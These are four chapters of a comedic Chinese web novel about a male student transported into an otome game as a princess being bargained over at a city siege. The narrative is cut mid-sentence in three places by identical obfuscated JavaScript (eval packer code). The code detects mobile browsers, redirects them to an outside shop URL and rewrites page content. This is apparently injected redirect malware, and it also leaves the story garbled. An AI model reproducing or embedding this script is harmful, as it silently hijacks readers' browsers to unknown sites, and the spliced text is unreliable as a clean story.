《从男大学生到修罗场公主》 1. 姬无瑕 春夜,漓京大学北区,大二男生宿舍。 暖风夹杂着淡粉色的桃花瓣,吹得人心思浮动,加上刚考完期中考试,整个校园的雄性生物都处于一种无忧无虑的荷尔蒙暴涨状态,时不时有人在熄灯的寝室内发出一声怒吼或者怪叫,紧接着就是宿舍阿姨尖声叱骂,像一种另类的菜市场背景音,只不过卖的是众大学生一毛不值的青春。 姬无瑕洗完澡,湿着头发躺在上铺翻来覆去抠手机。在手机屏幕的冷光映射下,他面容清秀,嘴唇红润,挑眉时带着一种少年人懒洋洋的不屑。 “瑕子。”下铺王亮一个引体向上,撑在姬无瑕的床栏旁,问:“玩啥呢?” 姬无瑕把他的头往下摁:“要你管。” 王亮是他室友,也是他们物理系大二的班长,篮球队小前锋。他身材高大,浓眉大眼,在外说话做事一本正经,很受女孩子欢迎。但姬无瑕知道那都是假象,回了寝室,王亮马上就把偶像包袱跟上衣同时甩飞,变身一只嗷嗷乱叫的哈士奇,但凡给他点好脸色,就能凑上来口水糊你一脸。 王亮吐气扬声,脸憋得通红,尽力与姬无瑕的五指山对抗。无奈姬无瑕居高临下,王亮还是像被打的地鼠一般缩了回去。 姬无瑕有个相当特别的名字,就凭他姓姬,就超越了全国百分之九十九的文艺逼,而“无瑕”这个名字也古风韵味十足,足以担任一篇青春疼痛文学的主角,男女主皆宜,攻受均可。 大一时,他们寝室四人第一次聚餐,酒过三巡,论资排辈。王亮年龄最大,姬无瑕最小,于是喝得满脸通红的王亮豪爽拍胸脯:“从今往后,大家便叫我老王吧!” 姬无瑕不甘示弱:“大家就叫我小姬吧!” “好啊,老王吧,小姬吧,咱们以后就是一家人了!”两名室友烂醉如泥,连连拍桌。邻桌背对的酒客“噗”地喷出一大口啤酒,聚会的气氛十分火热。 第二天众人酒醒,面面相觑。未经寝室议会正式决议,王亮就擅自把姬无瑕的昵称更改为“瑕子”。 虽然听起来还有点像‘瞎子’,但总比小好。男人可以瞎,但不能小。 其实姬无瑕也可以小,因为他是个零。在这个寝室里生活了一年半,他虽未公开出柜,但室友们多少都知道他的取向。他们知道后还待他如常,并未避如蛇蝎,也没有过分关怀,就当他是普通室友、自家弟弟,姬无瑕的内心是感激不尽的。 至于怎么知道的,日常生活多少会露出点端倪,比如说现在,姬无瑕在抠的手机上,就显示一款乙女游戏的LOADING画面。这种游戏主要面向女生,顺便带带姬无瑕这种热爱大胸猛男的小娇零。王亮不死心,脑袋还不断从他的床边生长出来,姬无瑕便大方给他看了手机。 “《白璧传奇》。”姬无瑕说,“乙游,你没玩过。” “喔。”王亮说,“刚开服的?” “开服好几天了。”姬无瑕道,“不知点到什么广告,触发自动下载,我看画面不错,就随便试试。” “啧啧啧霸王游戏还搞自动下载这一套。”王亮道,“我怎么没听说过?” “你又不是目标用户。”姬无瑕毫不避讳自己是乙游目标用户的事实。 “但游戏资讯我都是密切关注的呀。”王亮又问,“剧情如何?” “乙游要什么剧情?”姬无瑕不以为然。 王亮:“那乙游要什么?” 姬无瑕打了个哈欠,道:“就要男主长得帅吧?你看这个猛男……知道你不喜欢别摸了。这是古风游戏,主角是公主,她的国亡了之后,为了复国,就在乱世里结识各式各样的帅哥猛男……” 王亮唏嘘道:“这是倾国之恋啊。瑕子,你喜欢其中哪个男主?瑕子?” “我刚玩到第三章,男主才出全呢……随便嫖嫖,胸大就行……”姬无瑕眼皮沉重,聊着聊着进入了梦乡。 - 姬无瑕虽闭着眼睛,却觉得周遭明光一闪,有人猛推他一把,把他从床上推下半空。 世界天旋地转,姬无瑕不断坠落。他大叫一声,被人从身后死死地摁在古老的城墙上,侧脸贴着冰一般冷硬的砖石。 北风呼啸,从他脸颊边吹过,带来城外旷野的腥气。 一个威严的中年男子声音在姬无瑕背后响起:“谁能助朕退城外之敌,保住大周的社稷江山,朕就把白璧公主嫁给他!” 白璧公主?这称号有点耳熟。姬无瑕刚从梦中醒来,思绪混沌,努力回想,到底在哪里听到过? 咦,这不就是我正在玩的那个来路不明的乙游吗?!姬无瑕突然想起来,所谓日有所思夜有所梦,自己这是在梦里? 中年人摁着他的手很重,姬无瑕挣动了一下,没有挣开。 “陛下!不要啊!”有女官在旁大声哭喊,被中年人飞起一脚踹开。 陛下?看来身后这位就是大周皇帝,白璧公主的父皇了。姬无瑕余光看到女官咕噜噜滚下城墙,心中感慨,古代的社畜也不好混,尤其是在这将亡之国。 为什么我的肩膀这么酸痛……姬无瑕的脑袋不能动,斜着眼睛四处观察,发现城下有一大群举着火把的异族骑兵。为首之人身材高大,手臂肌肉清晰有力,戴着纯金打造的狼脸面具,骑在马上气质张扬,如一柄出鞘的神兵利刃。他的面具反射着暴富的光辉,其下露出一双幽深的绿色眼眸。 这个哥哥……我是认识的!姬无瑕回想起来,《白璧传奇》序章里,正有一位戴着金狼面的王子,名唤萧骁。萧骁仰慕白璧已久,从塞北带兵跑到大周的都城洛阳城下,一路势如破竹。大周的皇帝抵挡不住,不得不城上现场招婿,贱卖公主。这一事件最终导致了大周在故事的序章就灭亡了,而白璧公主被萧骁劫走,走上了漫漫复国之路。 啧啧,好惨,主要公主好惨,本来没她啥事儿,硬是当了一把红颜祸水。美女公主在哪里?姬无瑕视野有限,左右都看不见漂亮女孩子,可能是没来。 城下烟尘喧嚣,又来一队骑兵,看服饰是汉人。领头的在马上行礼:“臣雍州孟氏,愿出一千个私家骑兵为聘礼,迎娶公主。” “臣司徒邹家愿出一个万人步兵队!”又有人从黑暗中喝道,他身后跟着一大群步兵。 “陛下!白璧公主是金口玉言许给过臣的!您身为天子,怎能,怎能食言!”最后出现的是一位单枪匹马过来的银铠将领,声音颤抖着说。 哎这大胸哥哥也是男主之一,他叫……叫什么来着? 姬无瑕被寒冷的夜风吹清醒了点,想起来城下第二位男主的名字——镇东将军公孙衡。 城下算上异族人共有四队人马,其中两位名字记不住的炮灰,两位男主。两位男主虽然胸都大,但画风不一,异族人萧骁是桀骜霸气型的,汉人公孙衡则是温柔正直型的,正符合乙游萝卜青菜各有所爱的人设分布。 萧骁傲然道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375738|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把公主给本王子,本王子即刻退兵。” 姬无瑕:哦对了,你们都是为了这万人迷公主来的。这白璧公主该多漂亮啊,乙游女主没有脸,所以姬无瑕也没见过她的样子。哎呀公主用不着这么多,你们二位分一位跟我走吧,嘿嘿。 后面的皇帝老头,你能不能不要再摁我的脸了,鼻梁都被你摁扁了!这梦好真实啊,这风的触感,这细腻的画面,这生动的配音,还有我的脸好痛…… 姬无瑕心中倏然升起一个惊悚的念头:该不会我不是做梦,而是……穿越了吧?! 他伸手猛掐一把大腿,痛痛痛,不是梦!姬无瑕突然兴奋起来,他这辈子还没穿越过呢!之前为穿古代背了好久的四大发明配方,为穿现代又背了好久的A股走势,这下总算用上一个! 城下的三队汉人吵了起来。自称跟公主有婚约的公孙衡怒斥骑兵首领:“西昌侯,您怎能不顾天纲伦常,胡乱求娶公主?您可是公主亲生的姑父啊!” 姬无瑕:“亲生”的姑父? 公孙衡又转向步兵那边:“邹司徒,护卫王都乃是百官本分,您又怎么有脸跟陛下谈条件,趁火打劫?” 邹司徒冷哼一声,道:“镇东大将军单枪匹马来此,想必已有不用兵马单靠嘴皮子退敌的手段了?” 是啊!姬无瑕想,公孙衡你怎么没兵呢? 公孙衡冷哼一声,似乎被拿捏了软肋,不说话了。三波汉人,镇东将军公孙衡,西昌侯孟氏,司徒邹氏,彼此面面相觑。 姬无瑕忍不住吐槽:大哥你们的兵力已经超过异族人不少了好吗?还搁这讨价还价买白菜呢?上去就是干早赢了。就这组织能力怪不得要亡国。 大周皇帝似乎也意识到这里有一个逻辑BUG,他如果有三个公主,这一仗已经直接赢了,至不济两个也成,那根本没兵的公孙衡也派不上什么用。但现在现场生公主是来不及了,皇帝只好道:“你们三家联合抗敌,我将公主嫁给你们三家!每家一年,到期轮换!” 姬无瑕本觉得就差手上拿包瓜子了,听得这句赛博瓜子都惊掉了:老头子,你卖女儿倒是真不客气! 城下静了片刻,邹司徒幽幽道:“我觉得应该按出兵的数量加权计算。公主来我邹家一万天,再去孟家一千天,再去镇东将军家一天……” 我到底是穿越还是做梦?!穿越有这么离谱吗?!姬无瑕快疯了,公主哪去了?对这个奇葩的剧情也没有意见? 镇东将军公孙衡发出愤怒的叫喊,异族王子萧骁则放声大笑。混乱的场面中,姬无瑕背后的大手紧攥他的长发,使他直起身躯,在城墙上对月仰起脸——等一下,我什么时候长出的长发?! 一轮皎洁的明月照在古老而斑驳的城墙上,姬无瑕肤如凝脂,面庞洁白如璧,比月色更为娇美。无瑕的素颜上,唯有嘴角沾着一点鲜绿色的青苔,更显得他气质清新脱俗,毫不矫揉造作。 一时间城上城下都为他的美貌所慑,震惊地盯着他,呼吸声都停了。过了片刻,一匹站在前排的马咕咚一声倒地,把它的骑士甩在地上,原来是屏息太久休克了。 骑士忙爬起来给马做人工呼吸,姬无瑕如遭雷劈,深吸一口气,后知后觉地发现,被父亲贱卖、被众人竞标的倒霉蛋白璧公主,竟然就是他自己。 姬无瑕心道我去尼玛的,这是贩卖妇女,不,妇男!什么封建老古董剧情,不管是梦还是穿越,我都要整他个天翻地覆! 2. 萧骁:0 姬无瑕意识到自己就是这白璧公主,顿时怒气遏制不住地上涌。此时罪魁祸首、戴着金狼面的萧骁冷冷道:“你们商量好了没有?是一个一个来,还是一起上?” 姬无瑕扯了一下自己的便宜父皇手上的头发,没扯动,于是稍稍拧身,一个鞭腿扫了出去。老皇帝啊呀一声大叫,按先前女官滚的路线也滚下了城墙。 姬无瑕把满头漆黑如瀑的长发一甩,对萧骁怒吼道:“你吵什么?!一边等着领死!” 或许是他的话语太有气魄,萧骁竟被震慑住,半晌未发言。 “公孙将军。”姬无瑕迅速判断出一个靠得住的,“你背上背的剑匣可是空的?” “啊?”公孙衡被点名,也愣住了,试探道,“剑匣中乃是名剑纯钧,公主……公主想要这把剑?” 姬无瑕满意地点头,心想果然是个老实人,无瑕最喜欢老实人了。如果让他去打萧骁……两人的武力都是男主配置,对方有兵,他没有兵,应该打不过…… 不管了,最差情况是萧骁获胜,也没什么大不了,只是按原剧情发展了而已。就先这么莽下去吧! 当下公孙衡在城外最左侧,萧骁在中间,西昌侯偏右,邹司徒最右。姬无瑕指着万人队的首领邹司徒,对公孙衡道:“你去挟持他,把剑架在他脖子上,让他的兵揍那个金面具。” 他话音未落,公孙衡即刻反应过来,从马上一个轻功飞跃,跃过萧骁和西昌侯的头顶,跳到十丈之外的邹司徒身后。萧骁和西昌侯的脑袋跟随他仰头转了半圈。 公孙衡又用手抱紧邹司徒的腰,试图再反向跳十丈,回到自己的马上。 此时异变突生! 邹司徒很有点胖,至少两百来斤,以公孙衡顶级的轻功水平,跳过来轻轻松,但抱着他跳回去则错估了载重,两人像被绳子拴着的蚂蚱一般低空飘过,就这样撞倒了骑着马的西昌侯。 “西昌侯,失礼失礼!”公孙衡条件反射地道歉,一手环腰拎着没有腰的邹司徒,一手把西昌侯从地上拉起来。 姬无瑕心生仰慕,公孙衡力气还挺大。远远望去,只能看到他银灰色的胸甲穿得严严实实,下面结实的肌肉只能靠意淫。 城下三名汉人高官武将整理服饰,互相鞠躬作揖团团道歉,萧骁抱胸看热闹。姬无瑕大喊道:“正好,公孙衡你可以同时劫持他们两个!” 公孙衡犹豫道:“这样于礼不合……” 姬无瑕扯破了嗓子怒吼:“大周在战场上拍卖公主就于礼合了吗?!” 公孙衡正色道:“邹司徒,西昌侯,多有得罪!您两位在此剑胁迫之下护卫王城,也算护卫王城,乃是流芳千古的大功一件。” 公孙衡把心一横,把剑也一横,并排架在两个人脖子上:“两位放心,今日之事无论成败,在下绝不会说出去,确保两位名节无损!” 胖胖的邹司徒与瘦瘦的西昌侯挤在一把剑下,邹司徒占了剑刃的七成长度,西昌侯只占了三成。 “别废话了,都听我的!”姬无瑕大声道,“非我族类,其心必异!揍他丫的——!” 邹司徒与西昌侯对视一眼,一怒之下怒了一下,各自大义凛然,下令士兵击鼓进击,围剿那异族军队! 于是一万步兵与一千骑兵夹杂,后阵的战鼓突然如海啸般擂起来,兵士喊得山摇地动,不断互相踩脚。 金狼王子萧骁正吃得好好的瓜掉了一地。城外士兵这么密集,根本没有骑兵冲锋的空间,他们很快就被大量步兵推推搡搡,逼往城墙。萧骁在阵前率先拔出明晃晃的弯刀应战,霎时间抖开一片明净闪光。 弯刀的光弧到处,如一道辉煌的火环扩散,前排步兵发出齐声惨叫,异族骑兵们则彼此呼喊,把他们的王子护在中心。 但步兵的人数实在是太多了,像蚂蚁一般密密麻麻地涌上。一名异族骑兵被砍中了马腿,马匹一声嘶鸣,把他猛地甩到地上,眼看就要被步兵践踏而死。 萧骁驭马向前,探身,健腰折到极限,以一种坠马似的姿势,从马侧伸手一提一带,把那个骑兵从地上扯了起来,扔到另一个骑兵马后。 好腰!姬无瑕不禁又有些为之心折。 战圈之外,公孙衡实在挤不进去,打马试探了好几次,终于在远处解下背上长弓,对着战团扯开。 箭头的冷光迎着月色一闪,随即划破长空,如一道流星降世,直奔战团中央的萧骁。 姬无瑕屏息注视着那道流星,战场上的喊杀声暂时离他而去,他耳边只听到金狼王子怒喝一声,竖起弯刀,将那颗流星从当中劈为两半! 火花四溅,战局重新开始流动,萧骁一边挥刀一边不忘罪魁祸首,用字正腔圆的汉话中气十足地大喊道:“白璧,我淦你大爷!” 姬无瑕在城上笑道:“我没大爷,我爸是老大。” 无瑕开始得意起来,自己这战术还不错嘛,足以解城下之围。他攀上城墙,找了个缺口坐下来,两腿悬在城外,低头观察。 萧骁生命力极为顽强,不愧是男主之一。他抵抗了许久,身上竟未受伤,只是带兵左冲右突也挤不出战场去,场面一时僵持。 姬无瑕探着头正看热闹,突然背后一股大力将他一推,他大叫一声坠下城墙。 老皇帝在城墙上拍了拍手,道:“死丫头敢踹我,嗯?顺带一提,我也不是老大,你还是有大爷的。” - “啊啊啊啊啊——”姬无瑕一路下坠,四肢不断划圈,心脏疯狂鼓动,差点跳出胸口。眼看他就要跌进乱军之中被砍成肉泥,千钧一发之际,侧里突然飞来两样物事! 这第一样物事,是轻功绝佳的公孙衡。他眼见心仪许久的白璧公主坠下城墙,赶紧飞身来救。 但另一样物事到得更快,乃是一麻袋小米,准确无误地拦腰击中姬无瑕。小米分量实诚,带着姬无瑕往斜里飞了数米,刚好砸在异族王子头上。 王子一手将弯刀收到背后,另一手探出去接姬无瑕。他们四目相顾之际,姬无瑕圆张的嘴巴以慢动作缓缓扩大,悠扬的背景音乐不知从何处响起,旋转下落间,一眼万年。 萧骁把手臂收拢,时间流速恢复正常,姬无瑕被他倒扛到肩膀上。与此同时,他们身旁的城门发出巨响,粗大的门栓被利器砍断,门扇突然洞开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375739|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。萧骁被挤了许久,连人带马不由自主地被乱军推着进了城。 - “城破啦城破啦!”城内虽是夜晚,城外虽有大兵压境,平民百姓却完全没有一点危机感,只当此事因白璧公主而起,把公主送出去便结了。不少贩夫走卒还在当街谋生,顿时被骑兵冲得一片混乱。有人在收夜市的摊子,有人收白天晾的衣服,还有人上街把跳着绳的孩子抱走。 乱军突入城内,撞翻好几个来不及收的夜宵摊。公孙衡从远处赶来,焦急地喊道:“公主殿下!”又喊:“不要踩踏百姓!” 姬无瑕被倒背着,沿着城中青石主干道前进,扭头向公孙衡遥遥伸出一手。公孙衡徒步追赶异族骏马,速度惊人,竟越追越近。三十米,二十米,十米……他再次提气施展轻功,一手探向姬无瑕的手。 姬无瑕心中一喜,尽力舒展身躯,两人一高一低,在半空中如上帝创造亚当一般,形成一道唯美的剪影定格。 却见萧骁的马蹄踹到街上散落的一只红苹果,红苹果如暗器般倒飞出去,插入姬无瑕与公孙衡的经典构图中,最后结结实实地敲在公孙衡额头上。 你永远可以相信苹果坑亚当的能力。公孙衡坠落凡尘,彻底晕了过去。 姬无瑕看到他滚到路边,衣襟散乱,露出肌肉劲瘦的半边胸膛,不禁眼含热泪“嘤咛”一声,心想,是我忽悠并辜负了你。 萧骁的马越跑越快,一路冲向皇宫正门。城破得太快,消息来不及传递,宫门虽然在夜间是关着的,门外守卫却在打瞌睡。 守卫被马蹄声惊醒,大叫道:“你是谁,别别别过来啊!” 姬无瑕大声道:“救命!快鸣警钟!” 守卫手忙脚乱到处找敲钟的锤子,还没等找到,萧骁的弯刀便脱手掷出,在空中回旋飞舞,“叮”的一声干脆利落削断吊着钟的绳索,又飞回萧骁手中。 萧骁归刀入鞘,骏马奔向宫门毫不减速。 姬无瑕又喊:“啊啊啊撞上啦!” 萧骁的弯刀再出,这次是一道内力凝结的剑气,像冲击波一样飞出去,划断了门栓。 马蹄踹开宫门,闯了进去,一马二人霎时跑得不见踪影。此时皇宫门外被砍下的警钟方才落地,砸到了目瞪口呆的守卫的脚。 守卫跳着脚,单脚踩到了方才怎么也找不到的钟锤,摔倒了。 他爬起来,还想敲钟,守卫队长从屋里出来,先敲他的头:“你是不是傻?宫门闯进了人是重罪,但宫有九个门,现在不敲钟谁又知道他是从咱们这里进去的?!快把挂钟修好,再换根备用门栓,把这根断的扔进河里,就当无事发生!” 马匹飞奔,姬无瑕反应过来没人能救自己,只有自救了,开始对萧骁拳打脚踢,却力气有限,始终破不了那层薄薄皮甲的防。 这时,他耳边响起SIRI一般的提示音:“序章《红颜祸水》已完成,开启主线第一章《她逃他追,他们都插翅难飞》。祝您游戏愉快。” 草。姬无瑕想,谁在说话?难道是传说中的“系统”?但界面在哪里呢?另外,系统你说谁红颜祸水?文案能不能礼貌一点? 3. 萧骁:0 姬无瑕被萧骁倒背着,大脑充血,思维速度都快了不少。自己这到底是怎么了? 首先排除做梦,否则他从城墙上掉下去那一刻早该吓醒了。那就真的只剩下穿越的选项了,理由有三:第一,他睡前正在玩乙游,穿进来很合理吧;第二,系统是穿越的标配,这个系统既然有主线,后续可能也有支线、约会、养成等;第三,如果不是穿越,就凭他的小脑瓜,就是做梦也梦不出这么夸张的剧情啊! 啊啊啊啊我真的穿越了!姬无瑕内心小声尖叫,这绝对是个泡男人的好机会!帅哥,猛男,我来啦! 不,姬无瑕转念一想,我不能来,我家上有一对慈爱的老父母,下有一只活泼的狗儿子,中间还有三个异父异母的亲生宿舍弟兄,怎么能抛下他们?! 不行,还是不能精虫上脑,得赶紧想办法穿回去。 他想到这里,系统恰到好处地提示:“请您尽快完成主线任务:登基成为女帝。” 可我是男的啊?!姬无瑕内心吐槽,小声问:“登完基就能放我回去吗?系统,你倒是说话啊?你敢发任务不敢说话啊?!” 系统道:“完成主线后,可开启回归等功能。” 这游戏的功能还是逐步开启的。姬无瑕点头,很好理解,游戏如果一次性开太多功能,玩家会被绕晕。 很好理解个鬼啊!我要回家啊啊啊啊啊!给我开回家功能!给我开! 姬无瑕在萧骁背上乱挥乱点,不断碎碎念,系统再次冷漠提示:“必须完成主线。” 在剧情里完全不能切换到主界面,而姬无瑕也无法强行关闭游戏,被迫得跑这该死的乙游主线:登基。往好处想,作为一个男性公主,登基应该不难吧? 姬无瑕有点后悔了,他这几天玩主线都是快进草草点的,毕竟他只想嫖男人,没耐心读剧情。早知道就认真玩了,回家任务会容易得多。 让我想想,这剧情……是怎么发展的来着? 开头应该就是,他,或者说白璧公主,被萧骁劫回了塞北。一段喜闻乐见的强制剧情之后,白璧公主逃了出来,又寻找到公孙衡和杜姜两名男主帮她复国。这两名男主一文一武,公孙衡诚恳可靠,武力卓绝,可为她带兵打仗,而杜姜则心机深沉,富可敌国,是她最倚仗的智囊。 然后他们一起打败了暗中作梗的反派们,寻到了传国玉玺,白璧最终登上帝位。这就是姬无瑕记得的大体剧情。不过,他主线没过完,只打了一小半,到白璧回到洛阳城的登基前夕。 略显尴尬的是,除却三位男主的名字,其他姬无瑕记得的并不多。乙游的剧情往往就像烤肉盘子里垫的生菜,说不能吃肯定不至于,但也好吃不到哪里去。 而且其中还有萧骁这位,纯属为白璧登基添堵的男主。 不管怎么说,还是先设法摆脱萧骁吧。虽然他也挺帅的,但早一天摆脱,早一点登基,原装的白璧摆脱不了,不等于姬无瑕也摆脱不了。 就在姬无瑕自言自语发癫这会儿,萧骁长驱直入闯进后宫,终于甩开了所有的汉人追兵。恰逢初春,冷风萧瑟,夜凉如水,御花园内空无一人,都是残花败柳。萧骁驻马停下思考片刻,又将姬无瑕抱在马前,不怀好意地上下打量。 姬无瑕暂时把心中的爱恨纠葛放在一边,继续尽职尽责地扮演“白璧公主”。他冷哼一声斜着眼看萧骁:“怎么?白璧公主是我,你不满意?” 萧骁嘴角一勾,笑道:“你猜我满不满意?总算把你捉到手了,从今往后,你就是我的女人了。” 姬无瑕在他怀里抬头,这么近距离借着满月的光看去,萧骁帅得惨绝人寰。他下巴棱角分明,嘴唇红润,吐出的话语充满侧漏的霸气。再往上看,他的脸颊戴着金面具,只能看出鼻梁高挺,如狼般幽绿的眼神带着轻蔑、戏谑和居高临下。 姬无瑕的心中痒痒的,但主线任务要登基,他与这名异国王子注定有缘无分。既然如此,赶紧跑路才是正经的。 跑路之前,姬无瑕还是忍不住要出言调戏一番:“哟,你捉到我了?你打算把我安置在哪宫哪殿?” 萧骁道:“自然是把你带回塞外我族神山,此处又不是我的皇宫。” 姬无瑕在寂静的御花园里放声大笑:“哈哈哈,我还以为这皇宫是你家皇宫呢,原来是我家皇宫啊……”姬无瑕贴近萧骁耳朵,低声道,“在我家皇宫里,你怎么敢说已经把我捉到手了呢?” 说完这句,姬无瑕眼疾手快在他腹肌上揩了一把油,随后翻身滚下马背,拔腿就跑。 既然要逃,不趁还在大周皇宫里时跑路,难不成等他把他带回塞外再逃?! 萧骁反应过来,在背后发出一声怒吼:“你逃不出我的手掌心!” 虽然姬无瑕这白璧公主是穿越来的,不认识皇宫中的路,但萧骁更不认识啊! 姬无瑕好歹逛过故宫,具有一定的知识储备,跳了马便冲进附近一处院子,熟练地绕过殿前屏风。 这好像是一间偏僻寝殿,宫人不知是顾不上这里还是逃光了,乱七八糟的华服扔了满地。姬无瑕来不及细看,殿后有几间装饰典雅的小暖阁,似乎是给宫人休息用的,便随便捡了一间冲进去。 萧骁下了马,跟他前后脚进了同一个院子,却被屏风挡住了视线,没看到姬无瑕进了哪个房间。 姬无瑕不敢探头,暗中听着他的沉稳脚步声,心想等会儿他要是进错了房间,自己便打个时间差跑出去,这不就逃掉了吗? 萧骁好像在院子里踱步,姬无瑕大气也不敢出,把头埋在窗台下,却听到他似乎选择了其中一间,脚步声越来越近。 姬无瑕心跳如擂鼓,赶紧撩起床围,钻进了暖阁的床下。地砖有点冷,姬无瑕侧头,看到萧骁的短靴迈过门槛,立马扭头不敢再看,宁可做一只鸵鸟。 快走吧不是这里,换一间求求了,姬无瑕暗中祈祷。 萧骁沉思片刻,还是坚定了选择。他先往房梁上瞄了一眼,没人,然后走到木质大衣柜前,手握门把,吐气扬声“喝”地大叫,拉开衣柜门。 衣柜里只有衣服,倒是姬无瑕被他突如其来的一声喊吓到了,捂住了嘴。 房内能躲人的地方只剩下床底,萧骁也不傻,一步步走向雕花大床。 正在这时,殿门那里却又传来了别的声音。一个女子高声道:“本宫要在此处稍作歇息,你们守住门口,不要让别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375740|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闯进来。” 宫女太监们齐声应道:“是。” 萧骁很意外,这里居然还有人来,而且来得声势浩大,人多势众的样子。虽然他也不是打不过,却担心这一下引来更多守卫,后续不好脱身,便也采取了最简单最快速的解决方案:往床底下钻。 他一个滑步冲入床围,只见姬无瑕在床底下以手支颐,摆了个风流倜傥的POSE迎接他。 萧骁:“……” 紧接着就有人进来这间暖阁,并紧紧关上门。萧骁立马把姬无瑕往里挤了挤。 “哎呀皇后娘娘,可想死我了……”一个捏着嗓子的猥琐男人声音道。 进来的不止刚才那“本宫”一个人,似乎是一对偷情的男女。两人定然憋了许久,一刻也等不得,只听到男人调笑,女人娇喘,又抱又亲,听得床下挤在一起的姬无瑕和王子石化了。 情夫道:“不知陛下何时回来?” 皇后说:“别担心,乌桓人兵临城下,没这么快解决的,你我有的是时间亲热。” 情夫道:“乌桓人只来了两千骑兵,四千匹马,金狼王子统领,一路从归赤山快马入中原,只抢村镇不攻城,打到洛阳只用了十天。大周这国运……” 情夫没说下去,但大致意思姬无瑕听懂了,大周的国运可说是危在旦夕。 皇后却说:“金狼王子剽悍善战,十三岁起带兵纵横整个塞北草原,最擅长奇袭,关内关外闻风丧胆,除了镇东将军外无人能敌,据说是内定的下一任草原共主。” 姬无瑕偷瞄萧骁的手臂、腰侧,显然是长年骑马射箭的身材。哟,看来是位天之骄子啊。 皇后话锋一转:“但又能如何呢?狄人不善耕作,占了中原的土地无半点用处,抢完东西也就走了。陛下只要把白璧给他,他就会撤兵。不过闹腾一夜而已,耽误不了咱们的好事。” 床上传来啧啧亲嘴的声音,大周存亡显然没有偷情要紧。姬无瑕顿时又想到一个问题:我是白璧公主,这女人是皇后,那她岂不是我妈?可这声音听起来年轻得很,不像亲妈啊,剧情也没交代。 可能因为他的穿越,剧情发生了一定程度的混乱,文案也没考虑到穿越者能直达皇后床底下,所以完全没写前因后果。姬无瑕成了少有的搞不清楚亲妈是谁的主角。这本来也没什么大不了,很多故事的主角也没有妈,但如果不是亲妈,现在出去肯定要被皇后乱刀砍死。 如果是亲妈就好了……他就能借此机会逃脱,再让皇后扶植他做太子,讲不定还能趁乱嘎掉老皇帝,直接一步到位。姬无瑕仔细想了想,还是不能这么乐观,这皇后语气中没有半点对白璧的同情怜悯,可见亲妈的概率不大。 萧骁指了指姬无瑕,又指外面,示意“这是你妈”? 姬无瑕装作不懂,胡乱指了指萧骁,又指了指外面,表示“可能是你妈”。 萧骁打了一串复杂的手语,两指戳向自己绿色的双眼,摆手,再指外面,意即“你看看我的眼睛颜色这怎么可能是我妈”? 姬无瑕面无表情地看着他,懒得再反驳,心里只想上面什么时候搞完?这个情夫还挺持久,自己大冷天躺在地上要得老寒腿了。 4. 萧骁:10 姬无瑕按照床的节奏同步抖了一会儿,试图在不发出明显声音的前提下取暖。 抖着抖着,他发现身边有一道灼热视线。萧骁侧躺着,神情专注盯着姬无瑕。萧骁只穿了件短款皮甲,衣服下摆和裤腰间露出一条细缝,同时宽阔的肩膀裸露着,紧实肌肉一直延伸到前臂,才被薄薄的手套包裹住。 看上去就血气十足,暖和。 地砖冷,但萧骁身上热乎,反正他也不敢当场把自己怎么样,姬无瑕把萧骁推成仰面平躺,尽力翻到他身上。 床上情夫与床下姬无瑕同时舒服地叹了一口气。 萧骁被当了肉垫,十分不满,用危险的眼神威胁姬无瑕赶紧下去,姬无瑕装作没看到,还把手往他皮甲里揣了揣。 萧骁的呼吸逐渐粗重,姬无瑕抱着大号热水袋,脑中突然“叮”的一声。 系统提示:“萧骁好感度开启,从0点上升至10点。” 姬无瑕:“?” 怎么回事,跟在手机上打一样有好感度条?!姬无瑕用手指点了点萧骁,发现他头上真的冒出“好感度:10点”的提示。 姬无瑕:“……” 再强大的乙游男主,也有好感度条这个软肋!按照乙游的惯例,萧骁就天生注定要爱上姬无瑕。但这种情况出现在一位三次元立体人的身上,总让人有点难以适应。 院子里种着几株梅花,夜半的风吹来一阵暗香,悠远时空中,突然响起一阵低沉却震撼人心的钟声。 “咚——”那钟声回荡在人颅骨里,听起来十分烦闷。 床上,皇后埋怨道:“怎么这么快?你是不是不行?” 情夫惊讶的声音:“不是臣的错,娘娘,这是丧钟,是丧钟啊!难道是……” “陛下殡天了!”外面叫喊声连成一片。 皇后惶恐起身,姬无瑕看到床边一双穿着木屐的光脚踩在地上。 于是在这个异族兵临城下、皇帝贩卖公主、城门开了但不是打进来的、异族王子和公主殿下滚到皇后偷情的床底下的诡异夜晚,大周皇帝升天了。 